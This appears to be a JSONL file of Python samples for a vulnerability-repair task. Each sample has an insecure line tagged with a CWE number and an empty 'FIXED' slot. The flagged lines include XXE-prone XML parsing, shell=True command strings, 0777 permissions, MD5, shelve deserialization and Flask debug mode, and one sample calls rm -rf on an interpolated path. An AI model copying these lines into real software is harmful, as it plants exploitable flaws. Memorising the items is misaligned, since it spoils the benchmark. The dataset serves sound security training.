contents=None, attrs=None):\n \"Convenience method for adding an element with no children\"\n if attrs is None:\n attrs = {}\n self.startElement(name, attrs)\n if contents is not None:\n self.characters(contents)\n self.endElement(name)\n\n def characters(self, content):\n if content and re.search(r'[\\x00-\\x08\\x0B-\\x0C\\x0E-\\x1F]', content):\n # Fail loudly when content has control chars (unsupported in XML 1.0)\n # See http://www.w3.org/International/questions/qa-controls\n raise UnserializableContentError(\"Control characters are not supported in XML 1.0\")\n XMLGenerator.characters(self, content)\n"} {"language": "python", "text": "\"\"\"\nExample of parsing an XML file named sample.xml and printing the parsed data\nto the screen.\n\"\"\"\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.ElementTree as ET\n# FIXED: \n\n \n\n\nwith open('sample.xml') as file:\n tree = ET.parse(file)\n root = tree.getroot()\n\nfor rt in root:\n testid = rt.attrib['TestId']\n testtype = rt.attrib['TestType']\n name = rt[0].text\n cmdline = rt[1].text\n enput = rt[2].text\n output = rt[3].text\n\n print(\n '---\\n'\n f'TestId {testid}\\n'\n f'TestType {testtype}\\n'\n f'Name {name}\\n'\n f'CommandLine {cmdline}\\n'\n f'Input {enput}\\n'\n f'Output {output}\\n'\n '---\\n')\n"} {"language": "python", "text": "#!/usr/bin/env python\nimport os\nimport optparse\nimport subprocess\nimport sys\n\njs_path = os.path.join(os.path.dirname(os.path.dirname(__file__)), 'static', 'admin', 'js')\n\ndef main():\n usage = \"usage: %prog [file1..fileN]\"\n description = \"\"\"With no file paths given this script will automatically\ncompress all jQuery-based files of the admin app. Requires the Google Closure\nCompiler library and Java version 6 or later.\"\"\"\n parser = optparse.OptionParser(usage, description=description)\n parser.add_option(\"-c\", dest=\"compiler\", default=\"~/bin/compiler.jar\",\n help=\"path to Closure Compiler jar file\")\n parser.add_option(\"-v\", \"--verbose\",\n action=\"store_true\", dest=\"verbose\")\n parser.add_option(\"-q\", \"--quiet\",\n action=\"store_false\", dest=\"verbose\")\n (options, args) = parser.parse_args()\n\n compiler = os.path.expanduser(options.compiler)\n if not os.path.exists(compiler):\n sys.exit(\"Google Closure compiler jar file %s not found. Please use the -c option to specify the path.\" % compiler)\n\n if not args:\n if options.verbose:\n sys.stdout.write(\"No filenames given; defaulting to admin scripts\\n\")\n args = [os.path.join(js_path, f) for f in [\n \"actions.js\", \"collapse.js\", \"inlines.js\", \"prepopulate.js\"]]\n\n for arg in args:\n if not arg.endswith(\".js\"):\n arg = arg + \".js\"\n to_compress = os.path.expanduser(arg)\n if os.path.exists(to_compress):\n to_compress_min = \"%s.min.js\" % \"\".join(arg.rsplit(\".js\"))\n cmd = \"java -jar %s --js %s --js_output_file %s\" % (compiler, to_compress, to_compress_min)\n if options.verbose:\n sys.stdout.write(\"Running: %s\\n\" % cmd)\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# subprocess.call(cmd.split())\n# FIXED: \n\n \n\n else:\n sys.stdout.write(\"File %s not found. Sure it exists?\\n\" % to_compress)\n\nif __name__ == '__main__':\n main()\n"} {"language": "python", "text": "# $Id$\n# simple elementtree benchmark program\n\nfrom elementtree import XMLTreeBuilder, SimpleXMLTreeBuilder\nfrom elementtree import SgmlopXMLTreeBuilder\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.dom import minidom\n# FIXED: \n\n \n\n\nimport sys, time\n\ntry:\n file = sys.argv[1]\nexcept IndexError:\n file = \"hamlet.xml\"\n\ndef benchmark(file, builder_module):\n source = open(file, \"rb\")\n t0 = time.time()\n parser = builder_module.TreeBuilder()\n while 1:\n data = source.read(32768)\n if not data:\n break\n parser.feed(data)\n tree = parser.close()\n t1 = time.time()\n print \"%s: %d nodes read in %.3f seconds\" % (\n builder_module.__name__, len(tree.getiterator()), t1-t0\n )\n raw_input(\"press return to continue...\")\n del tree\n\ndef benchmark_minidom(file):\n t0 = time.time()\n dom = minidom.parse(file)\n t1 = time.time()\n print \"minidom tree read in %.3f seconds\" % (t1-t0)\n raw_input(\"press return to continue...\")\n del dom\n\nbenchmark(file, XMLTreeBuilder)\nbenchmark(file, SimpleXMLTreeBuilder) # use xmllib\ntry:\n benchmark(file, SgmlopXMLTreeBuilder) # use sgmlop\nexcept RuntimeError, v:\n print \"=== SgmlopXMLTreeBuilder not available (%s)\" % v\nbenchmark_minidom(file)\n"} {"language": "python", "text": "import json\nimport sys\nfrom subprocess import check_output\n\nimport pkg_resources\n\n\ndef get_version():\n out = check_output(\"gauge -v --machine-readable\",shell=True)\n data = json.loads(str(out.decode()))\n for plugin in data['plugins']:\n if plugin['name'] == 'python':\n return plugin['version']\n return ''\n\ndef install_getgauge(getgauge_version):\n install_cmd = [sys.executable, \"-m\", \"pip\", \"install\", getgauge_version, \"--user\"]\n if \"dev\" in getgauge_version:\n install_cmd.append(\"--pre\")\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# check_output([\" \".join(install_cmd)], shell=True)\n# FIXED: \n\n \n\n\n\ndef assert_versions():\n python_plugin_version = get_version()\n if not python_plugin_version:\n print('The gauge python plugin is not installed!')\n exit(1)\n\n expected_gauge_version = python_plugin_version\n\n try:\n getgauge_version = pkg_resources.get_distribution('getgauge').version\n if getgauge_version != expected_gauge_version:\n install_getgauge(\"getgauge==\"+expected_gauge_version)\n except pkg_resources.DistributionNotFound:\n install_getgauge(\"getgauge==\"+expected_gauge_version)\n\n\nif __name__ == '__main__':\n assert_versions()\n"} {"language": "python", "text": "# ___________________________________________________________________________\n#\n# Pyomo: Python Optimization Modeling Objects\n# Copyright (c) 2008-2022\n# National Technology and Engineering Solutions of Sandia, LLC\n# Under the terms of Contract DE-NA0003525 with National Technology and\n# Engineering Solutions of Sandia, LLC, the U.S. Government retains certain\n# rights in this software.\n# This software is distributed under the 3-clause BSD License.\n# ___________________________________________________________________________\n\nimport logging\nimport os\nimport stat\nimport sys\nfrom pyomo.common.download import FileDownloader\n\nlogger = logging.getLogger('pyomo.common')\n\n# These URLs were retrieved from\n# https://ampl.com/resources/hooking-your-solver-to-ampl/\n# All 32-bit downloads are used - 64-bit is available only for Linux\nurlmap = {\n 'linux': 'https://netlib.org/ampl/student/linux/gjh.gz',\n 'windows': 'https://netlib.org/ampl/student/mswin/gjh.exe.gz',\n 'cygwin': 'https://netlib.org/ampl/student/mswin/gjh.exe.gz',\n 'darwin': 'https://netlib.org/ampl/student/macosx/x86_32/gjh.gz',\n}\nexemap = {\n 'linux': '',\n 'windows': '.exe',\n 'cygwin': '.exe',\n 'darwin': '',\n}\n\ndef get_gjh(downloader):\n system, bits = downloader.get_sysinfo()\n url = downloader.get_platform_url(urlmap)\n\n downloader.set_destination_filename(\n os.path.join('bin', 'gjh'+exemap[system]))\n\n logger.info(\"Fetching GJH from %s and installing it to %s\"\n % (url, downloader.destination()))\n\n downloader.get_gzipped_binary_file(url)\n\n mode = os.stat(downloader.destination()).st_mode\n \n# BUG: CWE-276: Incorrect Default Permissions\n# os.chmod( downloader.destination(), mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH )\n# FIXED: \n\n \n\n\ndef main(argv):\n downloader = FileDownloader()\n downloader.parse_args(argv)\n get_gjh(downloader)\n\n\nif __name__ == '__main__':\n logger.setLevel(logging.INFO)\n try:\n main(sys.argv[1:])\n except Exception as e:\n print(e.message)\n print(\"Usage: %s [--insecure] [target]\" % os.path.basename(sys.argv[0]))\n sys.exit(1)\n"} {"language": "python", "text": "\"\"\"Tests for distutils.spawn.\"\"\"\nimport unittest\nimport os\nimport time\nfrom test.test_support import captured_stdout, run_unittest\n\nfrom distutils.spawn import _nt_quote_args\nfrom distutils.spawn import spawn, find_executable\nfrom distutils.errors import DistutilsExecError\nfrom distutils.tests import support\n\nclass SpawnTestCase(support.TempdirManager,\n support.LoggingSilencer,\n unittest.TestCase):\n\n def test_nt_quote_args(self):\n\n for (args, wanted) in ((['with space', 'nospace'],\n ['\"with space\"', 'nospace']),\n (['nochange', 'nospace'],\n ['nochange', 'nospace'])):\n res = _nt_quote_args(args)\n self.assertEqual(res, wanted)\n\n\n @unittest.skipUnless(os.name in ('nt', 'posix'),\n 'Runs only under posix or nt')\n def test_spawn(self):\n tmpdir = self.mkdtemp()\n\n # creating something executable\n # through the shell that returns 1\n if os.name == 'posix':\n exe = os.path.join(tmpdir, 'foo.sh')\n self.write_file(exe, '#!/bin/sh\\nexit 1')\n \n# BUG: CWE-276: Incorrect Default Permissions\n# os.chmod(exe, 0777)\n# FIXED: \n\n \n\n else:\n exe = os.path.join(tmpdir, 'foo.bat')\n self.write_file(exe, 'exit 1')\n\n os.chmod(exe, 0777)\n self.assertRaises(DistutilsExecError, spawn, [exe])\n\n # now something that works\n if os.name == 'posix':\n exe = os.path.join(tmpdir, 'foo.sh')\n self.write_file(exe, '#!/bin/sh\\nexit 0')\n os.chmod(exe, 0777)\n else:\n exe = os.path.join(tmpdir, 'foo.bat')\n self.write_file(exe, 'exit 0')\n\n os.chmod(exe, 0777)\n spawn([exe]) # should work without any error\n\ndef test_suite():\n return unittest.makeSuite(SpawnTestCase)\n\nif __name__ == \"__main__\":\n run_unittest(test_suite())\n"} {"language": "python", "text": "import sqlite3\nimport urllib\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.ElementTree as ET\n# FIXED: \n\n \n\n\nTWITTER_URL = 'http://api.twitter.com/l/statuses/friends/ACCT.xml'\n\nconn = sqlite3.connect('twdata.db')\ncur = conn.cursor()\n\ncur.execute('''CREATE TABLE IF NOT EXISTS People \n (id INTEGER PRIMARY KEY, name TEXT UNIQUE, retrieved INTEGER)''')\ncur.execute('''CREATE TABLE IF NOT EXISTS Follows \n (from_id INTEGER, to_id INTEGER, UNIQUE(from_id, to_id))''')\n\nwhile True:\n acct = raw_input('Enter a Twitter account, or quit: ')\n if ( acct == 'quit' ) : break\n if ( len(acct) < 1 ) :\n cur.execute('SELECT id, name FROM People WHERE retrieved = 0 LIMIT 1')\n try:\n (id, acct) = cur.fetchone()\n except:\n print 'No unretrieved Twitter accounts found'\n continue\n else:\n cur.execute('SELECT id FROM People WHERE name = ? LIMIT 1', \n (acct, ) )\n try:\n id = cur.fetchone()[0]\n except:\n cur.execute('INSERT OR IGNORE INTO People (name, retrieved) VALUES ( ?, 0)', \n ( acct, ) )\n conn.commit()\n if cur.rowcount != 1 : \n print 'Error inserting account:',acct\n\t\tcontinue\n id = cur.lastrowid\n\n url = TWITTER_URL.replace('ACCT', acct)\n print 'Retrieving', url\n document = urllib.urlopen (url).read()\n tree = ET.fromstring(document)\n\n cur.execute('UPDATE People SET retrieved=1 WHERE name = ?', (acct, ) )\n\n countnew = 0\n countold = 0\n for user in tree.findall('user'):\n friend = user.find('screen_name').text\n cur.execute('SELECT id FROM People WHERE name = ? LIMIT 1', \n (friend, ) )\n try:\n friend_id = cur.fetchone()[0]\n countold = countold + 1\n except:\n cur.execute('''INSERT OR IGNORE INTO People (name, retrieved) \n VALUES ( ?, 0)''', ( friend, ) )\n conn.commit()\n if cur.rowcount != 1 :\n print 'Error inserting account:',friend\n continue\n friend_id = cur.lastrowid\n countnew = countnew + 1\n cur.execute('INSERT OR IGNORE INTO Follows (from_id, to_id) VALUES (?, ?)',\n (id, friend_id) )\n print 'New accounts=',countnew,' revisited=',countold\n conn.commit()\n\ncur.close()\n\n"} {"language": "python", "text": "#!/usr/bin/env python\n# Python Network Programming Cookbook, Second Edition -- Chapter - 7\n# This program is optimized for Python 2.7.12 and Python 3.5.2.\n# It may run on any other version with/without modifications.\n# Supply the Amazon Access and Secret Keys via local_settings.py\n\nimport argparse\nimport bottlenose\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.dom import minidom as xml\n# FIXED: \n\n \n\n\ntry:\n from local_settings import amazon_account\nexcept ImportError:\n pass \n\nACCESS_KEY = amazon_account['access_key'] \nSECRET_KEY = amazon_account['secret_key'] \nAFFILIATE_ID = amazon_account['affiliate_id'] \n\n\ndef search_for_books(tag, index):\n \"\"\"Search Amazon for Books \"\"\"\n amazon = bottlenose.Amazon(ACCESS_KEY, SECRET_KEY, AFFILIATE_ID)\n results = amazon.ItemSearch(\n SearchIndex = index,\n Sort = \"relevancerank\",\n Keywords = tag\n )\n parsed_result = xml.parseString(results)\n\n all_items = []\n attrs = ['Title','Author', 'URL']\n\n for item in parsed_result.getElementsByTagName('Item'):\n parse_item = {}\n\n for attr in attrs:\n parse_item[attr] = \"\"\n try:\n parse_item[attr] = item.getElementsByTagName(attr)[0].childNodes[0].data\n except:\n pass\n all_items.append(parse_item)\n return all_items\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Search info from Amazon')\n parser.add_argument('--tag', action=\"store\", dest=\"tag\", default='Python')\n parser.add_argument('--index', action=\"store\", dest=\"index\", default='Books')\n # parse arguments\n given_args = parser.parse_args()\n books = search_for_books(given_args.tag, given_args.index) \n \n for book in books:\n for k,v in book.iteritems():\n print (\"%s: %s\" %(k,v))\n print (\"-\" * 80)\n"} {"language": "python", "text": "import requests\n\nwebsites = ['google.com', 'youtube.com', 'facebook.com', 'twitter.com', 'instagram.com', 'baidu.com', 'wikipedia.org', 'yandex.ru', 'yahoo.com', 'xvideos.com', 'whatsapp.com', 'pornhub.com', 'amazon.com', 'xnxx.com', 'yahoo.co.jp', 'live.com', 'netflix.com', 'docomo.ne.jp', 'tiktok.com', 'reddit.com', 'office.com', 'linkedin.com', 'dzen.ru', 'vk.com', 'xhamster.com', 'samsung.com', 'turbopages.org', 'mail.ru', 'bing.com', 'naver.com', 'microsoftonline.com', 'twitch.tv', 'discord.com', 'bilibili.com', 'pinterest.com', 'zoom.us', 'weather.com', 'qq.com', 'microsoft.com', 'globo.com', 'roblox.com', 'duckduckgo.com', 'news.yahoo.co.jp', 'quora.com', 'msn.com', 'realsrv.com', 'fandom.com', 'ebay.com', 'aajtak.in', 'ok.ru', 't.me', 'sharepoint.com', 'bbc.co.uk', 'nytimes.com', 'espn.com', 'uol.com.br', 'google.com.br', 'amazon.co.jp', 'bbc.com', 'stripchat.com', 'zhihu.com', 'cnn.com', 'indeed.com', 'imdb.com', 'spankbang.com', 'instructure.com', 'rakuten.co.jp', 'booking.com', 'paypal.com', 'apple.com', 'accuweather.com', 'amazon.de', 'etsy.com', 'chaturbate.com', 'news.google.com', 'cricbuzz.com', 'spotify.com', 'google.de', 'ya.ru', 'walmart.com', 'github.com', 'aliexpress.com', 'theguardian.com', 'messenger.com', 'yiyouliao.com', 'amazon.co.uk', 'dailymail.co.uk', 'canva.com', 'hotstar.com', 'amazon.in', 'avito.ru', 'disneyplus.com', 'archiveofourown.org', 'xhamster18.desi', 'line.me', 'pixiv.net', 'google.co.uk', 'marca.com', 'taobao.com', 'xvideos2.com']\n\ndef grab_cookies():\n total, done = len(websites), 0\n with open('cookies.txt', 'w') as cookies_save:\n for website in websites:\n for prefix in ['http://', 'https://']:\n cookies_save.write('\\n\\n' + prefix + website + '\\n')\n try:\n session = requests.Session()\n website = website.replace('\\n', '')\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# response = session.get(prefix + website.replace('\\n', ''))\n# FIXED: \n\n \n\n\n cookies = session.cookies.get_dict()\n for cookie_name in cookies.keys():\n cookies_save.write(cookie_name + ' -> ' + cookies[cookie_name] + '\\n')\n \n request = requests.get(prefix + website.replace('\\n', ''))\n for cookie in request.cookies:\n cookies_save.write(cookie.name + ' -> ' + cookie.value + '\\n')\n except: cookies_save.write('Error\\n')\n done += 1\n return True\n"} {"language": "python", "text": "#!/usr/bin/env python2\nfrom __future__ import print_function\n\"\"\"Run the Python regression test using the compiler\n\nThis test runs the standard Python test suite using bytecode generated\nby this compiler instead of by the builtin compiler.\n\nThe regression test is run with the interpreter in verbose mode so\nthat import problems can be observed easily.\n\"\"\"\n\nfrom compiler import compileFile\n\nimport os\nimport sys\nimport test\nimport tempfile\n\ndef copy_test_suite():\n dest = tempfile.mkdtemp()\n os.system(\"cp -r %s/* %s\" % (test.__path__[0], dest))\n print(\"Creating copy of test suite in\", dest)\n return dest\n\ndef copy_library():\n dest = tempfile.mkdtemp()\n libdir = os.path.split(test.__path__[0])[0]\n print(\"Found standard library in\", libdir)\n print(\"Creating copy of standard library in\", dest)\n os.system(\"cp -r %s/* %s\" % (libdir, dest))\n return dest\n\ndef compile_files(dir):\n print(\"Compiling\", dir, \"\\n\\t\", end=' ')\n line_len = 10\n for file in os.listdir(dir):\n base, ext = os.path.splitext(file)\n if ext == '.py':\n source = os.path.join(dir, file)\n line_len = line_len + len(file) + 1\n if line_len > 75:\n print(\"\\n\\t\", end=' ')\n line_len = len(source) + 9\n print(file, end=' ')\n try:\n compileFile(source)\n except SyntaxError as err:\n print(err)\n continue\n # make sure the .pyc file is not over-written\n \n# BUG: CWE-276: Incorrect Default Permissions\n# os.chmod(source + \"c\", 444)\n# FIXED: \n\n \n\n elif file == 'CVS':\n pass\n else:\n path = os.path.join(dir, file)\n if os.path.isdir(path):\n print()\n print()\n compile_files(path)\n print(\"\\t\", end=' ')\n line_len = 10\n print()\n\ndef run_regrtest(lib_dir):\n test_dir = os.path.join(lib_dir, \"test\")\n os.chdir(test_dir)\n os.system(\"PYTHONPATH=%s %s -v regrtest.py\" % (lib_dir, sys.executable))\n\ndef cleanup(dir):\n os.system(\"rm -rf %s\" % dir)\n\ndef main():\n lib_dir = copy_library()\n compile_files(lib_dir)\n run_regrtest(lib_dir)\n input(\"Cleanup?\")\n cleanup(lib_dir)\n\nif __name__ == \"__main__\":\n main()\n"} {"language": "python", "text": "from flask import Flask, jsonify, request\n\nimport time\nimport mysql.connector\n\napp = Flask(__name__)\n\nallocate_inventory_sql = \"update /*+ XID('{xid}') */ product.inventory set available_qty = available_qty - %s, allocated_qty = allocated_qty + %s where product_sysno = %s and available_qty >= %s;\"\n\ndef conn():\n retry = 0\n while retry < 3:\n time.sleep(5)\n try:\n c = mysql.connector.connect(\n host=\"dbpack2\",\n port=13307,\n user=\"dksl\",\n password=\"123456\",\n database=\"product\",\n autocommit=True,\n )\n\n if c.is_connected():\n db_Info = c.get_server_info()\n print(\"Connected to MySQL Server version \", db_Info)\n return c\n except Exception as e:\n print(e.args)\n retry += 1 \n \nconnection = conn()\ncursor = connection.cursor(prepared=True,)\n\n@app.route('/allocateInventory', methods=['POST'])\ndef create_so():\n xid = request.headers.get('xid')\n reqs = request.get_json()\n if xid and \"req\" in reqs:\n for res in reqs[\"req\"]:\n try:\n \n# BUG: CWE-704: Incorrect Type Conversion or Cast\n# cursor.execute(allocate_inventory_sql.format(xid=xid), (res[\"qty\"], res[\"qty\"], res[\"product_sysno\"], res[\"qty\"],))\n# FIXED: \n\n \n\n except Exception as e:\n print(e.args)\n \n return jsonify(dict(success=True, message=\"success\")), 200\n \n return jsonify(dict(success=False, message=\"failed\")), 400\n\nif __name__ == '__main__':\n app.run(host=\"0.0.0.0\", port=3002)"} {"language": "python", "text": "# -*- coding: utf-8 -*-\n\nimport os\nimport tempfile\nimport shelve\nfrom datetime import datetime\n\n\nclass NoCache(object):\n \"\"\"\n A simple noop implementation for the cache. Any object implementing the same methods\n (duck typing) is acceptable as a cache backend.\n\n For example, python-memcached is compatible.\n \"\"\"\n pass\n\n def set(self, key, val, ttl=0):\n pass\n\n def get(self, key):\n return None\n\n\nclass ShelveCache(object):\n \"\"\"\n A cache implementation based on Shelve: https://docs.python.org/2/library/shelve.html.\n\n By default, it will be created with \"filename\" equal to the api domain name. If you want to\n run 2 processes using the same repository, you need to set a different file name to avoid\n concurrency problems.\n \"\"\"\n def __init__(self, filename):\n self.filename = filename\n self.db = None\n\n def _init_db(self):\n if self.db is None:\n cache_dir = os.path.join(tempfile.mkdtemp(), \"prismic-cache\")\n if not os.path.exists(cache_dir):\n os.makedirs(cache_dir)\n \n# BUG: CWE-502: Deserialization of Untrusted Data\n# self.db = shelve.open(os.path.join(cache_dir, self.filename))\n# FIXED: \n\n \n\n\n def set(self, key, val, ttl=0):\n self._init_db()\n if type(key) != str:\n key = key.encode('utf8')\n self.db[key] = {\n \"val\": val,\n \"expire\": ShelveCache.unix_time() + ttl\n }\n\n def get(self, key):\n self._init_db()\n if type(key) != str:\n key = key.encode('utf8')\n if key not in self.db:\n return None\n d = self.db[key]\n if d[\"expire\"] < ShelveCache.unix_time():\n del self.db[key]\n return None\n else:\n return d[\"val\"]\n\n @staticmethod\n def unix_time():\n epoch = datetime.utcfromtimestamp(0)\n delta = datetime.now() - epoch\n return delta.total_seconds()\n\n"} {"language": "python", "text": "import sys\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.sax import make_parser, handler\n# FIXED: \n\n \n\n\nclass FancyCounter(handler.ContentHandler):\n\n def __init__(self):\n self._elems = 0\n self._attrs = 0\n self._elem_types = {}\n self._attr_types = {}\n\n def startElement(self, name, attrs):\n self._elems = self._elems + 1\n self._attrs = self._attrs + len(attrs)\n self._elem_types[name] = self._elem_types.get(name, 0) + 1\n\n for name in attrs.keys():\n self._attr_types[name] = self._attr_types.get(name, 0) + 1\n\n def endDocument(self):\n print \"There were\", self._elems, \"elements.\"\n print \"There were\", self._attrs, \"attributes.\"\n\n print \"---ELEMENT TYPES\"\n for pair in self._elem_types.items():\n print \"%20s %d\" % pair\n\n print \"---ATTRIBUTE TYPES\"\n for pair in self._attr_types.items():\n print \"%20s %d\" % pair\n\n\nparser = make_parser()\nparser.setContentHandler(FancyCounter())\nparser.parse(sys.argv[1])\n"} {"language": "python", "text": "#!/usr/bin/env python\n# Python Network Programming Cookbook, Second Edition -- Chapter - 7\n# This program is optimized for Python 2.7.12 and Python 3.5.2.\n# It may run on any other version with/without modifications.\n\nfrom flask import Flask\napp = Flask(__name__)\n\n@app.route('/')\ndef index(num=1):\n return \"Your Python Web Service
Fibonacci(\"+ str(num) + \"): \"+ str(fibonacci(num))+ \"
Square(\"+ str(num) + \"): \"+ str(square(num))\n\ndef fibonacci(n):\n if n == 0:\n return 0\n elif n == 1:\n return 1\n else:\n return fibonacci(n-1) + fibonacci(n-2)\n\n\ndef square(n):\n print (\"Calculating for the number %s\" %n)\n return n*n\n\nif __name__ == '__main__':\n \n# BUG: CWE-489: Active Debug Code\n# app.run(debug=True)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "import logging\n\nfrom pip._vendor import requests\n\nfrom pip._vendor.cachecontrol.adapter import CacheControlAdapter\nfrom pip._vendor.cachecontrol.cache import DictCache\nfrom pip._vendor.cachecontrol.controller import logger\n\nfrom argparse import ArgumentParser\n\n\ndef setup_logging():\n logger.setLevel(logging.DEBUG)\n handler = logging.StreamHandler()\n logger.addHandler(handler)\n\n\ndef get_session():\n adapter = CacheControlAdapter(\n DictCache(), cache_etags=True, serializer=None, heuristic=None\n )\n sess = requests.Session()\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# sess.mount(\"http://\", adapter)\n# FIXED: \n\n \n\n sess.mount(\"https://\", adapter)\n\n sess.cache_controller = adapter.controller\n return sess\n\n\ndef get_args():\n parser = ArgumentParser()\n parser.add_argument(\"url\", help=\"The URL to try and cache\")\n return parser.parse_args()\n\n\ndef main(args=None):\n args = get_args()\n sess = get_session()\n\n # Make a request to get a response\n resp = sess.get(args.url)\n\n # Turn on logging\n setup_logging()\n\n # try setting the cache\n sess.cache_controller.cache_response(resp.request, resp.raw)\n\n # Now try to get it\n if sess.cache_controller.cached_request(resp.request):\n print(\"Cached!\")\n else:\n print(\"Not cached :(\")\n\n\nif __name__ == \"__main__\":\n main()\n"} {"language": "python", "text": "\nimport webbrowser\nimport hashlib\n\nwebbrowser.open(\"http://xkcd.com/353/\")\n\ndef geohash(latitude, longitude, datedow):\n '''Compute geohash() using the Munroe algorithm.\n\n >>> geohash(37.421542, -122.085589, b'2005-05-26-10458.68')\n 37.857713 -122.544543\n\n '''\n # http://xkcd.com/426/\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# h = hashlib.md5(datedow).hexdigest()\n# FIXED: \n\n \n\n p, q = [('%f' % float.fromhex('0.' + x)) for x in (h[:16], h[16:32])]\n print('%d%s %d%s' % (latitude, p[1:], longitude, q[1:]))\n"} {"language": "python", "text": "# File makedb.py: store Person objects on a shelve database\n\nfrom person import Person, Manager # Load our classes\nbob = Person('Bob Smith') # Re-create objects to be stored\nsue = Person('Sue Jones', job='dev', pay=100000)\ntom = Manager('Tom Jones', 50000)\n\nimport shelve\n\n# BUG: CWE-502: Deserialization of Untrusted Data\n# db = shelve.open('persondb') # Filename where objects are stored\n# FIXED: \n\n \n\nfor object in (bob, sue, tom): # Use object's name attr as key\n db[object.name] = object # Store object on shelve by key\ndb.close() # Close after making changes\n"} {"language": "python", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Copyright (C) 2017-2022 Pablo Iranzo G\u00f3mez \n\nimport os\nimport re\nimport subprocess\nimport time\n\nimport setuptools\n\n# In python < 2.7.4, a lazy loading of package `pbr` will break\n# setuptools if some other modules registered functions in `atexit`.\n# solution from: http://bugs.python.org/issue15881#msg170215\n\ntry:\n import multiprocessing # noqa\nexcept ImportError:\n pass\n\nfilename = \"setup.cfg\"\nregexp = r\"\\Aversion.*([0-9]+)\"\n\nline = \"\"\nwith open(filename, \"r\") as f:\n for line in f:\n if re.match(regexp, line):\n # Return earlier if match found\n break\n\nversion = line.split(\"=\")[1].strip()\n\ncommand = \"git tag|sort -V|grep -v ^[a-Z]|grep -v 2017|tail -1\"\n\n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# proc = subprocess.Popen([command], stdout=subprocess.PIPE, shell=True)\n# FIXED: \n\n \n\n(out, err) = proc.communicate()\n\nversion = out.strip().decode(\"utf-8\")\n\n\ntry:\n ghversion = os.environ[\"RELEASE_VERSION\"]\nexcept:\n ghversion = None\n\nstrings = time.strftime(\"%Y,%m,%d,%H,%M,%S\")\nt = strings.split(\",\")\nnumbers = [str(x) for x in t]\n\nif ghversion:\n os.environ[\"PBR_VERSION\"] = \"%s.%s\" % (ghversion, \"\".join(numbers))\nelse:\n os.environ[\"PBR_VERSION\"] = \"%s.%s.%s\" % (version, 0, \"\".join(numbers))\n\nsetuptools.setup(setup_requires=[\"pbr>=2.0.0\"], pbr=True)\n"} {"language": "python", "text": "import os\nfrom hashlib import md5\n\nfrom yql import YahooToken\n\nSECRET = \"FDHSJLUREIRPpieruweruwoeirhfsdjf\"\n\n\nclass TokenStoreError(Exception):\n \"\"\"Generic token storage\"\"\"\n pass\n\n\nclass BaseTokenStore(object):\n \"\"\"Base class for storage\"\"\"\n\n def set(self, name, token):\n raise NotImplementedError\n\n def get(self, name):\n raise NotImplementedError\n\n\nclass FileTokenStore(BaseTokenStore):\n \"\"\"A simple filesystem based token store\n\n Note: this is more intended as an example rather than\n something for heavy duty production usage.\n\n \"\"\"\n\n def __init__(self, dir_path, secret=None):\n \"\"\"Initialize token storage\"\"\"\n\n if not os.path.exists(dir_path):\n raise TokenStoreError(\"Path is not valid\")\n\n self.base_dir = dir_path\n self.secret = secret or SECRET\n\n def get_filepath(self, name):\n \"\"\"Build filepath\"\"\"\n\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# filename = md5(\"%s%s\" % (name, self.secret)).hexdigest()\n# FIXED: \n\n \n\n filepath = os.path.join(self.base_dir, filename)\n\n return filepath\n\n def set(self, name, token):\n \"\"\"Write a token to file\"\"\"\n\n if hasattr(token, 'key'):\n token = YahooToken.to_string(token)\n\n if token:\n filepath = self.get_filepath(name)\n f_handle = open(filepath, 'w')\n f_handle.write(token)\n f_handle.close()\n\n def get(self, name):\n \"\"\"Get a token from the filesystem\"\"\"\n\n filepath = self.get_filepath(name)\n\n if os.path.exists(filepath):\n f_handle = open(filepath, 'r')\n token = f_handle.read()\n f_handle.close()\n\n token = YahooToken.from_string(token)\n return token\n"} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.dom import Node\n# FIXED: \n\n \n\n\n#import gettext\n#_ = gettext.gettext\n_ = lambda x: x\n\nfrom . import _base\n\n\nclass TreeWalker(_base.NonRecursiveTreeWalker):\n def getNodeDetails(self, node):\n if node.nodeType == Node.DOCUMENT_TYPE_NODE:\n return _base.DOCTYPE, node.name, node.publicId, node.systemId\n\n elif node.nodeType in (Node.TEXT_NODE, Node.CDATA_SECTION_NODE):\n return _base.TEXT, node.nodeValue\n\n elif node.nodeType == Node.ELEMENT_NODE:\n attrs = {}\n for attr in list(node.attributes.keys()):\n attr = node.getAttributeNode(attr)\n if attr.namespaceURI:\n attrs[(attr.namespaceURI, attr.localName)] = attr.value\n else:\n attrs[(None, attr.name)] = attr.value\n return (_base.ELEMENT, node.namespaceURI, node.nodeName,\n attrs, node.hasChildNodes())\n\n elif node.nodeType == Node.COMMENT_NODE:\n return _base.COMMENT, node.nodeValue\n\n elif node.nodeType in (Node.DOCUMENT_NODE, Node.DOCUMENT_FRAGMENT_NODE):\n return (_base.DOCUMENT,)\n\n else:\n return _base.UNKNOWN, node.nodeType\n\n def getFirstChild(self, node):\n return node.firstChild\n\n def getNextSibling(self, node):\n return node.nextSibling\n\n def getParentNode(self, node):\n return node.parentNode\n"} {"language": "python", "text": "from flask import Flask\nfrom flask import render_template\nfrom flask import request\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n\n@app.route('/results', methods=['POST'])\ndef results():\n a = float(request.form['numberA'])\n \n# BUG: CWE-704: Incorrect Type Conversion or Cast\n# b = float(request.form['numberB'])\n# FIXED: \n\n \n\n\n sum_ab = a + b\n 